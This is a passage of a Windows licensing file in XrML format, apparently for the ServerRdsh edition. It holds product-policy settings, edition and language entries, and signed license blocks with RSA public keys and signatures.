name="Taskbar-Pinning-Recommendations" attributes="reboot-required">1</sl:policyInt><sl:policyInt name="Taskmgr-ServerIsClient">0</sl:policyInt><sl:policyInt name="TCPIP-SecondaryAppMetaDataSocketOption">1</sl:policyInt><sl:policyInt name="TelemetryPermission-AllowDisable">0</sl:policyInt><sl:policyInt name="TelemetryPermission-DefaultLevel">1</sl:policyInt><sl:policyInt name="Telemetry-ProcessorModeAllowed">0</sl:policyInt><sl:policyInt name="Telnet-Client-EnableTelnetClient">0</sl:policyInt><sl:policyInt name="TerminalServices-DeviceRedirection-Licenses-CameraRedirectionAllowed">0</sl:policyInt><sl:policyInt name="TerminalServices-ADD-Licensing">0</sl:policyInt><sl:policyInt name="TerminalServices-DeviceRedirection-Licenses-PnpRedirectionAllowed">0</sl:policyInt><sl:policyInt name="TerminalServices-DeviceRedirection-Licenses-TSAudioCaptureAllowed">0</sl:policyInt><sl:policyInt name="TerminalServices-DeviceRedirection-Licenses-TSEasyPrintAllowed">0</sl:policyInt><sl:policyInt name="TerminalServices-DeviceRedirection-Licenses-TSMFPluginAllowed">0</sl:policyInt><sl:policyInt name="TerminalServices-RDP-7-Advanced-Compression-Allowed">0</sl:policyInt><sl:policyInt name="TerminalServices-RemoteApplications-ClientSku-RAILAllowed">0</sl:policyInt><sl:policyInt name="TerminalServices-RemoteConnectionManager-AllowAppServerMode">0</sl:policyInt><sl:policyInt name="TerminalServices-RemoteConnectionManager-AllowD3DRemoting">0</sl:policyInt><sl:policyInt name="TerminalServices-RemoteConnectionManager-AllowMultipleSessions">0</sl:policyInt><sl:policyInt name="TerminalServices-RemoteConnectionManager-AutomatedAppServerInstallation">0</sl:policyInt><sl:policyInt name="TerminalServices-RemoteConnectionManager-WVD-Enabled">0</sl:policyInt><sl:policyInt name="TerminalServices-ServerDeviceRedirection-Licenses-WPFPrintingRedirectionAllowed">0</sl:policyInt><sl:policyInt name="TiffIFilterLicensing-EnableTiffIFilter">0</sl:policyInt><sl:policyInt name="Timeline-ShowAllActivities-Override-Enabled">0</sl:policyInt><sl:policyInt name="transmog-CanTransmogDC">1</sl:policyInt><sl:policyInt name="TSProxy-EdgeAdapter-MaxConnections">1</sl:policyInt><sl:policyInt name="UpdatePolicy-UpdateManagementGroup">2</sl:policyInt><sl:policyInt name="UserOOBE-Allowed-SignIn-Identity">3</sl:policyInt><sl:policyInt name="VirtualPC-licensing-Enabled">0</sl:policyInt><sl:policyInt name="VirtualXP-licensing-Enabled">0</sl:policyInt><sl:policyInt name="VmSwitch-SwitchEmbeddedTeaming-Enabled">0</sl:policyInt><sl:policyInt name="volmgrx-SupportDynamic" attributes="reboot-required">0</sl:policyInt><sl:policyInt name="volmgrx-SupportMirror" attributes="reboot-required">0</sl:policyInt><sl:policyInt name="volmgrx-SupportRaid5" attributes="reboot-required">0</sl:policyInt><sl:policyInt name="WAM-MultipleAppPackageWithWebAccountProvider-Allowed">0</sl:policyInt><sl:policyInt name="WCOS-Headless-Sku-Based-Image">0</sl:policyInt><sl:policyInt name="WebServices-ListenerApiInAppContainer">0</sl:policyInt><sl:policyInt name="WebView2-EvergreenExcludedForEdition">0</sl:policyInt><sl:policyInt name="Windows.Globalization.License-TextSuggestionApi-LangResourcesInstalledByDefault">1</sl:policyInt><sl:policyInt name="Windows.Networking.ServiceDiscovery.DnsSd.License-CctMobileCore">0</sl:policyInt><sl:policyInt name="WindowsAnytimeUpgrade-CanUpgrade">0</sl:policyInt><sl:policyInt name="WindowsCopilot-Available">1</sl:policyInt><sl:policyInt name="WindowsCopilot-IsCommercial">0</sl:policyInt><sl:policyInt name="WindowsInkWorkspace-Enabled">1</sl:policyInt><sl:policyInt name="WindowsPushNotifications-License-WpnMobileCore">0</sl:policyInt><sl:policyInt name="WindowsSearchComponent-ComponentInstalled">1</sl:policyInt><sl:policyInt name="WindowsStore-Enabled">1</sl:policyInt><sl:policyInt name="WindowsStore-Verbs-Available">1</sl:policyInt><sl:policyInt name="WMPPlayer-HMEAllowed">0</sl:policyInt><sl:policyInt name="WMPPlayer-RMEAllowed">0</sl:policyInt><sl:policyInt name="WMPPlayer-RMESecurityGroupAllowed">0</sl:policyInt><sl:policyInt name="WorkstationService-DomainJoinEnabled">0</sl:policyInt><sl:policyInt name="WSLicensingService-AllowDisablingStoreApps">0</sl:policyInt><sl:policyInt name="WSLicensingService-EnableLOBApps">0</sl:policyInt><sl:policyInt name="WSLicensingService-LOBSideloadingActivated">0</sl:policyInt><sl:policyInt name="wvr-servercore-enabled">0</sl:policyInt><sl:policyInt name="Security-SPP-StoreUpgradeTargetEditions">0</sl:policyInt><sl:policyInt name="SystemReset-Cleanpc-Enabled">1</sl:policyInt><sl:policyInt name="DistributionServices-ApprovalListBasedServicing-Allowed">0</sl:policyInt><sl:policyInt name="Virtualization-InheritedActivation">0</sl:policyInt><sl:policyInt name="Virtualization-ActivateCloud">0</sl:policyInt><sl:policyInt name="Virtualization-AllowInheritance">0</sl:policyInt><sl:policyInt name="F5FDC2EBD2D54716AE5906CA36F5A708">0</sl:policyInt><sl:policyInt name="EnableAltActivationClient">0</sl:policyInt><sl:policyInt name="BitLockerSupportOnNXT-Available">0</sl:policyInt><sl:policyInt name="WindowsAccountControl-Available">0</sl:policyInt><sl:policyInt name="Security-SPP-ServerGraceEnabled">0</sl:policyInt><sl:policyInt name="Security-SPP-ServerGraceValue">0</sl:policyInt><sl:policyInt name="ForceTimeSyncTask-OOBEUserLogonComplete">0</sl:policyInt><sl:policyInt name="UMDF-WINPE-ENABLED">0</sl:policyInt><sl:policyInt name="Recall-Advanced-Policies-Available">0</sl:policyInt><sl:policyInt name="CustomIntentsForVoiceAccess-Enabled">0</sl:policyInt><sl:policyInt name="CloudStoreDownloadFromSecureDesktopForVoiceAccess-Enabled">0</sl:policyInt><sl:policyInt name="SettingsCommercialHomePage-Available">0</sl:policyInt><sl:policyInt name="WSW-Consumer-Policy">0</sl:policyInt><sl:policyInt name="IntegratedServices-RegionPolicy-EnforcePolicies">1</sl:policyInt><sl:policyInt name="M365CopilotPinningCampaign-Allowed">0</sl:policyInt><sl:policySum name="TerminalServices-RemoteConnectionManager-0f0a4bf8-8362-435d-938c-222a518a8b78-Disabled">0</sl:policySum><sl:policySum name="TerminalServices-RemoteConnectionManager-45344fe7-00e6-4ac6-9f01-d01fd4ffadfb-LocalOnly">0</sl:policySum><sl:policySum name="TerminalServices-RemoteConnectionManager-45344fe7-00e6-4ac6-9f01-d01fd4ffadfb-MaxSessions" attributes="reboot-required">0</sl:policySum><sl:policySum name="TerminalServices-RemoteConnectionManager-8dc86f1d-9969-4379-91c1-06fe1dc60575-MaxSessions">0</sl:policySum><sl:policySum name="TerminalServices-RemoteConnectionManager-AllowMultimon">0</sl:policySum><sl:policySum name="TerminalServices-RemoteConnectionManager-AllowRemoteConnections" attributes="reboot-required">0</sl:policySum><sl:policySum name="TerminalServices-RemoteConnectionManager-b7857721-7a62-4a37-aff3-253fe2b8b0e8-MaxSessions">0</sl:policySum><sl:policySum name="TerminalServices-RemoteConnectionManager-ce0ad219-4670-4988-98fb-89b14c2f072b-MaxSessions">0</sl:policySum><sl:policySum name="TerminalServices-RemoteConnectionManager-d8d584dc-e21f-4bd4-b923-6fc03943d7de-MaxSessions" attributes="reboot-required">0</sl:policySum><sl:policySum name="TerminalServices-RemoteConnectionManager-cd051c59-3fe7-499c-9b66-02d99dbd8d3b-MaxSessions" attributes="reboot-required">0</sl:policySum><sl:policySum name="TerminalServices-RemoteConnectionManager-MaxUserSessions" attributes="reboot-required">0</sl:policySum><sl:policyStr name="Clip-SubscriptionPFN">EMPTY</sl:policyStr><sl:policyStr name="Clip-SubscriptionEditionId">EMPTY</sl:policyStr><sl:policyStr name="enterprisemgmt_policymanager-License-MAMPolicyAllowList">DataProtection|AllowSimpleDevicePassword|AlphanumericDevicePasswordRequired|DevicePasswordEnabled|DevicePasswordExpiration|DevicePasswordHistory|MaxDevicePasswordFailedAttempts|MaxInactivityTimeDeviceLock|MinDevicePasswordComplexCharacters|MinDevicePasswordLength|NetworkIsolation|Search</sl:policyStr><sl:policyStr name="configmanager2-License-BlockedProviderList">EMPTY</sl:policyStr><sl:policyStr name="enterprisemgmt_policymanager-License-MDMPolicyAllowList">AboveLock|Accounts|ADMXIngest|ADMX_|AllowMessageSync|AppDeviceInventory|AppHVSI|ApplicationDefaults|ApplicationManagement|AppRuntime|AppVirtualization|Audit|Authentication|BitLocker|BITS|Bluetooth|Browser|Camera|Connectivity|ControlPolicyConflict|CredentialsDelegation|Cryptography|DataProtection|Defender|DeliveryOptimization|DeviceGuard|DeviceHealthMonitoring|DeviceLock|Display|DmaGuard|Eap|Education|EnterpriseCloudPrint|Experience|ExploitGuard|FileExplorer|FileSystem|Games|Handwriting|KioskBrowser|Knobs|LanmanWorkstation|Licensing|Lockdown|Maps|MemoryDump|MSSecurityGuide|MSSLegacy|Multitasking|NetworkIsolation|NetworkListManager|Notifications|OneDrive|OOBE|Privacy|Search|SecureBoot|Security|Settings|SettingsSync|SmartScreen|Speech|Start|System|SystemServices|TaskManager|TaskScheduler|TextInput|TimeLanguageSettings|Update|WiFi|WirelessDisplay|ActiveXControls|AttachmentManager|Autoplay|Cellular|CredentialProviders|CredentialsUI|DataUsage|Desktop|DeviceInstallation|ErrorReporting|EventLogService|InternetExplorer|Kerberos|LocalPoliciesSecurityOptions|LocalUsersAndGroups|Location|NewsAndInterests|Power|Printers|RemoteAssistance|RemoteDesktop|RemoteDesktopServices|RemoteManagement|RemoteProcedureCall|RemoteShell|RestrictedGroups|Storage|Troubleshooting|UserRights|VirtualizationBasedTechnology|WindowsAutopilot|WindowsConnectionManager|WindowsDefenderSecurityCenter|WindowsInkWorkspace|WindowsLogon|WindowsPowerShell|WindowsSandbox|_Autogenerated_</sl:policyStr><sl:policyStr name="Kernel-MUI-Language-Allowed" attributes="reboot-required">EMPTY</sl:policyStr><sl:policyStr name="Kernel-MUI-Language-Disallowed" attributes="reboot-required">EMPTY</sl:policyStr><sl:policyStr name="Kernel-MUI-Language-SKU" attributes="reboot-required">en-US;en-AU;en-CA;en-GB;en-HK;en-IE;en-NZ;en-SG;ar-SA;pt-BR;zh-TW;zh-CN;zh-HK;zh-SG;cs-CZ;da-DK;el-GR;es-AR;es-CL;es-CO;es-ES;es-MX;es-US;fi-FI;fr-BE;fr-CA;fr-CH;fr-FR;de-AT;de-CH;de-DE;he-IL;hu-HU;it-IT;ja-JP;ko-KR;nl-BE;nl-NL;nb-NO;pl-PL;pt-PT;ru-RU;sv-SE;tr-TR;bg-BG;hr-HR;et-EE;lv-LV;lt-LT;ro-RO;sr-Latn-CS;sr-Latn-RS;sk-SK;sl-SI;th-TH;uk-UA;fy-NL;qps-ploc;qps-plocm;qps-Latn-x-sh</sl:policyStr><sl:policyStr name="Microsoft-Windows-Core-AllowedControlledDevicesForBoot">12</sl:policyStr><sl:policyStr name="Microsoft-Windows-Core-NeedsFullOEMVerification">1</sl:policyStr><sl:policyStr name="Security-SPP-Action-StateData">LicenseState=SL_LICENSING_STATUS_LICENSED;LastConsumptionReason=0x0</sl:policyStr><sl:policyStr name="Security-SPP-IACountedIdList"></sl:policyStr><sl:policyStr name="Security-SPP-KmsCountedIdList"></sl:policyStr><sl:policyStr name="Security-SPP-Reserved-IAAuthenticationKey">o8SSv/EBs8rqhGavBcqlARU9vkhlA8k3uuMw+yJ4euCvhvDB3UKsi8veT8crtfg7VX8ZIGVqCG4OFDm8X9M+P1ZTTyJWuMBnmcKzf4GNdHmkFdxJ2ZD8KKhN8IOMkM7732jL72Ncr9wLrGY3if1AlWxH/PfW4DlYJFwuJTIgeJU=</sl:policyStr><sl:policyStr name="Security-SPP-Reserved-IAAuthenticationKeyTest">xCF2keDbBzFBBetbNjI5tdcw/3DHcDXmc+VgqFyQmSEnCFLmOSKwKcoVgFj9TOu+2niz45b4p/DZ02CKm0fzJWHrIobpa77lyh1NA1zCpsuuyIF0gYtHY5CtnmKWu1/z8TiyJEgWWxnHvXQbK+3KTGzLaPrmILejhg0+TJt2CYA=</sl:policyStr><sl:policyStr name="Security-SPP-TokenActivation-AdditionalInfo"></sl:policyStr><sl:policyStr name="Security-System-Capability-languageAndRegionDeviceSettings">IU</sl:policyStr><sl:policyStr name="Security-System-Capability-dateAndTimeDeviceSettings">DO</sl:policyStr><sl:policyStr name="Security-System-Capability-keyboardDeviceSettings">IU</sl:policyStr><sl:policyStr name="Security-System-Capability-displayDeviceSettings">IU</sl:policyStr><sl:policyStr name="Security-System-Capability-bluetoothDeviceSettings">IU</sl:policyStr><sl:policyStr name="Security-System-Capability-projectionDeviceSettings">IU</sl:policyStr><sl:policyStr name="Security-System-Capability-notificationsDeviceSettings">IU</sl:policyStr><sl:policyStr name="Security-System-Capability-powerDeviceSettings">IU</sl:policyStr><sl:policyStr name="Security-System-Capability-networkDeviceAdminSettings">DO</sl:policyStr><sl:policyStr name="Security-System-Capability-networkDeviceSettings">IU</sl:policyStr><sl:policyStr name="Security-System-Capability-personalizationDeviceSettings">IU</sl:policyStr><sl:policyStr name="Security-System-Capability-appManagementSystem">IU</sl:policyStr><sl:policyStr name="Security-System-Capability-deviceIdentityManagement">IU</sl:policyStr><sl:policyStr name="Security-System-Capability-userManagementSystem">DO</sl:policyStr><sl:policyStr name="Security-System-Capability-capabilityAccessConsentDeviceSettings">DO</sl:policyStr><sl:policyStr name="Security-System-Capability-updateAndSecurityDeviceSettings">DO</sl:policyStr><sl:policyStr name="Security-System-Capability-deviceProvisioningAdministrator">DO</sl:policyStr><sl:policyStr name="SILicensing-AcceptedMasterServers">0</sl:policyStr><sl:policyStr name="SILicensing-AcceptedPrimeServers">1981</sl:policyStr><sl:policyStr name="SILicensing-ExternalDllName">WSSLicMgmtClient.dll</sl:policyStr><sl:policyStr name="TerminalServices-RemoteConnectionManager-8dc86f1d-9969-4379-91c1-06fe1dc60575-InitialProgram">%SystemRoot%\ehome\mcrmgr.exe</sl:policyStr><sl:policyStr name="Windows.Globalization.License-TextSuggestionApi-DgmlRootName">ComponentLayouts</sl:policyStr><sl:policyStr name="Windows.Globalization.License-TextSuggestionApi-SupportedLanguagesForConversion">ja-JP;zh-Hans-CN;</sl:policyStr><sl:policyStr name="Windows.Globalization.License-TextSuggestionApi-SupportedLanguagesForPrediction">ja-JP;zh-Hans-CN;</sl:policyStr><sl:policyStr name="Windows.Globalization.License-TextSuggestionApi-SupportedLanguagesForReverseConversion">ja-JP;</sl:policyStr><sl:policyBin name="dmenrollengine-Allowed-Enrollments">nv+///////8=</sl:policyBin><sl:policyBin name="configmanager2-License-ConfigSourceCspFilter-EnterpriseDataProtection">AA==</sl:policyBin><sl:policyBin name="Kernel-ExpirationDate">AAAAAAAAAAAAAAAAAAAAAA==</sl:policyBin><sl:policyBin name="Kernel-NonGenuineNotificationStringIds">ETIAABICAABTBgAA</sl:policyBin><sl:policyBin name="Security-SPP-LastWindowsActivationHResult">EvAEwA==</sl:policyBin><sl:policyBin name="Security-SPP-LastWindowsActivationTime">AAAAAAAAAAA=</sl:policyBin></sl:productPolicies></r:allConditions></r:grant><r:issuer><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.microsoft.com/xrml/lwc14n"/><SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/><Reference><Transforms><Transform Algorithm="urn:mpeg:mpeg21:2003:01-REL-R-NS:licenseTransform"/><Transform Algorithm="http://www.microsoft.com/xrml/lwc14n"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><DigestValue>IJSL1aps+DjO2qwCSnwzKQ4r6j0=</DigestValue></Reference></SignedInfo><SignatureValue>Na71VY6v7MT2jYEYPlmqCEk2Y50dm4WKbrZUZUZPwnyOHJzJpQ4p/TUcXzShNovEh/EMYVuuC1WSMAmgHJkXld2MwO10VOEW3fvgl7Ku2ldXnrW3Sfd4aVGWCjIgsHMjvDM8xmQZPZA9tB61MaxAgeqHqcIxMR97rfWiDD6DtSmCAsiC19PgFjKDO0l9nUzehOTB8VRJclCehmfeWSSFDDmRVTr/jyxU9wVnIClyZlZ8VURONcU3TE4+4eausDktjjjXvNqWTGwnk3zPQJYMnvPDA7hutFFG2CeMrFF3Tj3/TVmcZjA4BViDcK+66dJ5ojQF2XxECpFqkNplVKQiRw==</SignatureValue><KeyInfo><KeyValue><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature><r:details><r:timeOfIssue>2016-01-01T00:00:00Z</r:timeOfIssue></r:details></r:issuer><r:otherInfo xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS"><tm:infoTables xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><tm:infoList tag="#global"><tm:infoStr name="licenseType">msft:sl/PPD</tm:infoStr><tm:infoStr name="licenseVersion">2.0</tm:infoStr><tm:infoStr name="licensorUrl">http://licensing.microsoft.com</tm:infoStr><tm:infoStr name="licenseCategory">msft:sl/PPD</tm:infoStr><tm:infoStr name="applicationId">{55c92734-d682-4d71-983e-d6ec3f16059f}</tm:infoStr></tm:infoList></tm:infoTables></r:otherInfo></r:license>
<?xml version="1.0" encoding="utf-8"?><rg:licenseGroup xmlns:rg="urn:mpeg:mpeg21:2003:01-REL-R-NS"><r:license xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS" licenseId="{6db7f927-7d9e-4c4a-b70c-ea62c1165bdc}" xmlns:sx="urn:mpeg:mpeg21:2003:01-REL-SX-NS" xmlns:mx="urn:mpeg:mpeg21:2003:01-REL-MX-NS" xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><r:title>Windows(R) Publishing License (Public)</r:title><r:grant><r:forAll varName="productId"><r:anXmlExpression>/sl:productId/sl:pid</r:anXmlExpression></r:forAll><r:forAll varName="binding"></r:forAll><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>v0JgOuEWuaA3INoAK10wY7PLaEhyfjfL5A2joNwBR/3ziJxewXKy5QDzZvD3C9eVdvlSqFCDpZEDUxVWvFFeYKI5YkTeK5x7X4nQPodwZAoTJklTUWpfZNslLYJVMaxRvs8htxKoIbvmssqN4Dhy3Oa7HT80GcOvS95M7UCvXcQ7TjrQUV9QNb0w6WLdMVpuktek1CVi4XQ3ELIHZJhyKAtWNGRN4kxZL9nYyDvZ8be5rlGTuhEsgi1oFqnjzMLYXU4wkF/W8mRedIkvoBu3kCjuwEqsr9P5sIbHowqFX5sRxmTrgwoCXPCtFyXCwu9hO75mvb1I1sCuv8W0gTfMtw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><r:issue/><r:grant><r:forAll varName="application"><r:anXmlExpression>editionId[@value="" or @value="ServerRdsh"]</r:anXmlExpression></r:forAll><r:forAll varName="appid"><r:propertyPossessor><tm:application varRef="application"/><r:trustedRootIssuers><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder></r:trustedRootIssuers></r:propertyPossessor></r:forAll><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>17FgQIuX2S7YIVn8PIeN+qANo4/TUbV8CH5TzbXwmWo4WVI4npVqI4NNhRVsP0ICgMpql1jgAm75dZDBPTzRTCj+Ni0DXIvk6Whlo/ClK/fpZUO3ORQ9VmBE3cXeQQAehgVlUUIzOmG4EeP1i91PCGf5O7I4ayYS2FeQUj+6hyk=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><sl:runSoftware/><sl:appId varRef="appid"/><r:allConditions><r:allConditions><sl:productPolicies xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:priority>500</sl:priority><sl:policyInt name="Security-SPP-Reserved-Store-Token-Required" attributes="override-only">0</sl:policyInt><sl:policyInt name="Microsoft-Windows-Core-THQAEnabled" attributes="override-only">1</sl:policyInt><sl:policyStr name="Security-SPP-Reserved-Windows-Version-V2" attributes="override-only">10.0</sl:policyStr><sl:policyInt name="Security-SPP-WriteWauMarker">1</sl:policyInt><sl:policyStr name="Security-SPP-Reserved-Family" attributes="override-only">ServerRdsh</sl:policyStr></sl:productPolicies><sl:proxyExecutionKey xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"></sl:proxyExecutionKey><sl:externalValidator xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:type>msft:sl/externalValidator/generic</sl:type><sl:data Algorithm="msft:rm/algorithm/flags/1.0">DAAAAAEAAAAFAAAA</sl:data></sl:externalValidator></r:allConditions><mx:renderer><sl:binding varRef="binding"/><sl:productId varRef="productId"/></mx:renderer></r:allConditions></r:grant><r:allConditions><sl:businessRules xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"></sl:businessRules></r:allConditions></r:grant><r:issuer><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.microsoft.com/xrml/lwc14n"/><SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/><Reference><Transforms><Transform Algorithm="urn:mpeg:mpeg21:2003:01-REL-R-NS:licenseTransform"/><Transform Algorithm="http://www.microsoft.com/xrml/lwc14n"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><DigestValue>2FBdPoIV37VNKPwj9uO0LzPdr6o=</DigestValue></Reference></SignedInfo><SignatureValue>L5/qhr9A02nWrgfwHx/Oabtz97sX/wKzBGrGaXzYdAXTgRooKLhzIw6No79TQf1r/Jq1HzAYyaMl68npUwwdZDkKqlDPACmOKm9LEOXe25CEK+5fSc/1oOZvx36CPIaJjtY36BpOx+w6EpdrBG0fkaqs8SKAOuJT7fI9QZb71urqiIUQ0AuRkUlmC2nEy22AToQgpJdh/N1CsxwsPjBETMK+d8Yv8ItDKDVeIPaaX4FvnZqjl0i89zeSTzHqjVbPC87yeYExcwDgUChSFWq7X86/I1yJfd0gmjJPmWvGAd9gc7Y3gxrQ++uuMu/w9m+EuUeUZfbAsxlw3nl0EP6Uig==</SignatureValue><KeyInfo><KeyValue><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature><r:details><r:timeOfIssue>2016-01-01T00:00:00Z</r:timeOfIssue></r:details></r:issuer><r:otherInfo xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS"><tm:infoTables xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><tm:infoList tag="#global"><tm:infoStr name="licenseType">msft:sl/PL/GENERIC/PUBLIC</tm:infoStr><tm:infoStr name="licenseVersion">2.0</tm:infoStr><tm:infoStr name="licensorUrl">http://licensing.microsoft.com</tm:infoStr><tm:infoStr name="licenseCategory">msft:sl/PL/GENERIC/PUBLIC</tm:infoStr><tm:infoStr name="productSkuId">{fa755fe6-6739-40b9-8d84-6d0ea3b6d1ab}</tm:infoStr><tm:infoStr name="privateCertificateId">{e0fe4536-6b8d-4a78-8435-ffd088e56dec}</tm:infoStr><tm:infoStr name="applicationId">{55c92734-d682-4d71-983e-d6ec3f16059f}</tm:infoStr><tm:infoStr name="productName">Windows(R), ServerRdsh edition</tm:infoStr><tm:infoStr name="Family">ServerRdsh</tm:infoStr><tm:infoStr name="productAuthor">Microsoft Corporation</tm:infoStr><tm:infoStr name="productDescription">Windows(R) Operating System</tm:infoStr><tm:infoStr name="clientIssuanceCertificateId">{4961cc30-d690-43be-910c-8e2db01fc5ad}</tm:infoStr><tm:infoStr name="hwid:ootGrace">0</tm:infoStr></tm:infoList></tm:infoTables></r:otherInfo></r:license><r:license xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS" licenseId="{e0fe4536-6b8d-4a78-8435-ffd088e56dec}" xmlns:sx="urn:mpeg:mpeg21:2003:01-REL-SX-NS" xmlns:mx="urn:mpeg:mpeg21:2003:01-REL-MX-NS" xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><r:title>Windows(R) Publishing License (Private)</r:title><r:grant><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>v0JgOuEWuaA3INoAK10wY7PLaEhyfjfL5A2joNwBR/3ziJxewXKy5QDzZvD3C9eVdvlSqFCDpZEDUxVWvFFeYKI5YkTeK5x7X4nQPodwZAoTJklTUWpfZNslLYJVMaxRvs8htxKoIbvmssqN4Dhy3Oa7HT80GcOvS95M7UCvXcQ7TjrQUV9QNb0w6WLdMVpuktek1CVi4XQ3ELIHZJhyKAtWNGRN4kxZL9nYyDvZ8be5rlGTuhEsgi1oFqnjzMLYXU4wkF/W8mRedIkvoBu3kCjuwEqsr9P5sIbHowqFX5sRxmTrgwoCXPCtFyXCwu9hO75mvb1I1sCuv8W0gTfMtw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><r:issue/><r:grant><r:forAll varName="anyRight"></r:forAll><r:forAll varName="appid"></r:forAll><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>17FgQIuX2S7YIVn8PIeN+qANo4/TUbV8CH5TzbXwmWo4WVI4npVqI4NNhRVsP0ICgMpql1jgAm75dZDBPTzRTCj+Ni0DXIvk6Whlo/ClK/fpZUO3ORQ9VmBE3cXeQQAehgVlUUIzOmG4EeP1i91PCGf5O7I4ayYS2FeQUj+6hyk=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><tm:decryptContent/><tm:symmetricKey><tm:AESKeyValue size="16">AAAAAAAAAAAAAAAAAAAAAA==</tm:AESKeyValue></tm:symmetricKey><r:prerequisiteRight><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>17FgQIuX2S7YIVn8PIeN+qANo4/TUbV8CH5TzbXwmWo4WVI4npVqI4NNhRVsP0ICgMpql1jgAm75dZDBPTzRTCj+Ni0DXIvk6Whlo/ClK/fpZUO3ORQ9VmBE3cXeQQAehgVlUUIzOmG4EeP1i91PCGf5O7I4ayYS2FeQUj+6hyk=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><r:right varRef="anyRight"/><sl:appId varRef="appid"/><r:trustedRootIssuers><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>v0JgOuEWuaA3INoAK10wY7PLaEhyfjfL5A2joNwBR/3ziJxewXKy5QDzZvD3C9eVdvlSqFCDpZEDUxVWvFFeYKI5YkTeK5x7X4nQPodwZAoTJklTUWpfZNslLYJVMaxRvs8htxKoIbvmssqN4Dhy3Oa7HT80GcOvS95M7UCvXcQ7TjrQUV9QNb0w6WLdMVpuktek1CVi4XQ3ELIHZJhyKAtWNGRN4kxZL9nYyDvZ8be5rlGTuhEsgi1oFqnjzMLYXU4wkF/W8mRedIkvoBu3kCjuwEqsr9P5sIbHowqFX5sRxmTrgwoCXPCtFyXCwu9hO75mvb1I1sCuv8W0gTfMtw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder></r:trustedRootIssuers></r:prerequisiteRight></r:grant></r:grant><r:issuer><Signature 